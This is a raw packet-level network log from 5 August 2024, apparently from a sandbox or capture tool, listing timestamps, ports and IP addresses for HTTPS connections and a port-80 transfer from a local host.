Aug 5, 2024 12:00:50.481723070 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.481759071 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.482157946 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.482172012 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.546020031 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.546082020 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.546092033 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.546103001 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.546226025 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.546226025 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.546226025 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.546786070 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.546842098 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.546880960 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.546907902 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.546916962 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.546958923 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.547202110 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:50.547219992 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:50.547278881 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.547292948 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.845057964 CEST	49834	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:50.845113039 CEST	443	49834	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:50.989778996 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989815950 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989829063 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989860058 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989871979 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989885092 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989907026 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989908934 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:50.989908934 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:50.989919901 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989929914 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989942074 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.989948988 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:50.989996910 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:50.990041018 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:50.994889021 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.994901896 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.994914055 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:50.995014906 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.133698940 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.133970976 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.134507895 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.134507895 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.134514093 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.134526968 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.139874935 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.140002012 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.142222881 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.142239094 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.142724991 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.142910004 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.143170118 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.184523106 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.184859991 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.185087919 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.185404062 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.185440063 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.185446024 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.185561895 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.185565948 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.185585022 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.187067986 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.187076092 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.187333107 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.187500954 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.187855005 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.232501030 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.339135885 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339154005 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339164019 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339174986 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339271069 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.339271069 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.339343071 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339354038 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339365959 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339375973 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339387894 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.339448929 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.339448929 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.340095043 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340130091 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340245962 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340322018 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.340322018 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.340590954 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340601921 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340612888 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.340965033 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.724164963 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.724241972 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.731789112 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.738729000 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.738763094 CEST	49839	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.738771915 CEST	443	49844	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.738780022 CEST	443	49839	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.739394903 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.739701986 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.739711046 CEST	443	49844	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.961335897 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.961410999 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:51.961471081 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:51.961672068 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.961704969 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961719036 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961731911 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961746931 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.961776972 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.961791992 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.961864948 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961878061 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961889029 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961890936 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.961903095 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.961914062 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961921930 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961927891 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.961935997 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961947918 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961958885 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961962938 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.961970091 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.961978912 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.961981058 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.961981058 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962002039 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962014914 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962018967 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962027073 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962038040 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962049961 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962049961 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962052107 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962066889 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962070942 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962080002 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962090969 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962097883 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962112904 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962112904 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962112904 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962158918 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962285995 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.962337017 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962337017 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:51.962584972 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962626934 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962661028 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962661028 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962678909 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962728977 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:51.962762117 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.962762117 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:51.966341972 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:51.966757059 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.014949083 CEST	49841	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.014972925 CEST	443	49841	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.015882015 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.015918970 CEST	443	49845	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.016721010 CEST	49838	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.016741991 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.016757965 CEST	443	49838	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.019556046 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.019570112 CEST	443	49845	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.019814968 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.019846916 CEST	443	49846	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.020371914 CEST	49840	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.020385981 CEST	443	49840	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.020405054 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.021222115 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.021235943 CEST	443	49846	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.021595001 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.021629095 CEST	443	49847	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.021823883 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.022068024 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.022079945 CEST	443	49847	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.042227983 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042248964 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042260885 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042272091 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042284012 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042294979 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042315960 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.042365074 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.042640924 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042654037 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042665958 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042690039 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.042751074 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042762995 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042773962 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.042787075 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.042805910 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.043658972 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043670893 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043680906 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043697119 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043708086 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043718100 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.043752909 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.043775082 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.044536114 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.044547081 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.044558048 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.044569016 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.044579029 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.044605970 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386461020 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386586905 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386603117 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386614084 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386625051 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386636019 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386646032 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386657000 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386666059 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386677027 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386679888 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386734962 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386746883 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386758089 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386769056 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386779070 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386789083 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386799097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386807919 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386811018 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386821985 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386831999 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386838913 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386857033 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386936903 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386948109 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386959076 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386969090 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386979103 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.386985064 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.386990070 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.387003899 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.387013912 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.387017965 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.387048960 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.604970932 CEST	443	49844	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.605042934 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.665712118 CEST	443	49847	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.667773962 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.668102026 CEST	443	49845	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.668155909 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.672591925 CEST	443	49846	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.675740957 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.735196114 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735219002 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735229969 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735239983 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735250950 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735261917 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735272884 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735316038 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.735372066 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.735467911 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735532045 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735548019 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735558987 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735569000 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735570908 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.735582113 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.735586882 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.735642910 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.736098051 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736109018 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736119986 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736148119 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.736160994 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.736195087 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736207008 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736217022 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736227989 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736238956 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.736243010 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.736273050 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.737050056 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737067938 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737080097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737098932 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.737102032 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737113953 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737126112 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.737131119 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.737158060 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.750915051 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.750943899 CEST	443	49844	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.753140926 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.753145933 CEST	443	49844	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.755481005 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.755503893 CEST	443	49847	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.757143974 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.757149935 CEST	443	49847	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.757450104 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.757462978 CEST	443	49845	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.757616997 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.757622004 CEST	443	49845	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.759246111 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.759254932 CEST	443	49846	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.759365082 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.759370089 CEST	443	49846	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:52.782618999 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.822246075 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:52.876312971 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:52.985886097 CEST	49844	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.985929012 CEST	49847	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.985937119 CEST	49845	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.985968113 CEST	49846	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:52.986689091 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.986725092 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.986776114 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.987412930 CEST	49848	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.987428904 CEST	443	49848	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.989675999 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.989703894 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:52.989748001 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.990468979 CEST	49849	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:52.990485907 CEST	443	49849	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:53.053586006 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053603888 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053616047 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053626060 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053637028 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053647041 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:53.053654909 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:53.053662062 CEST	80	49837	27.221.16.179	192.168.2.7
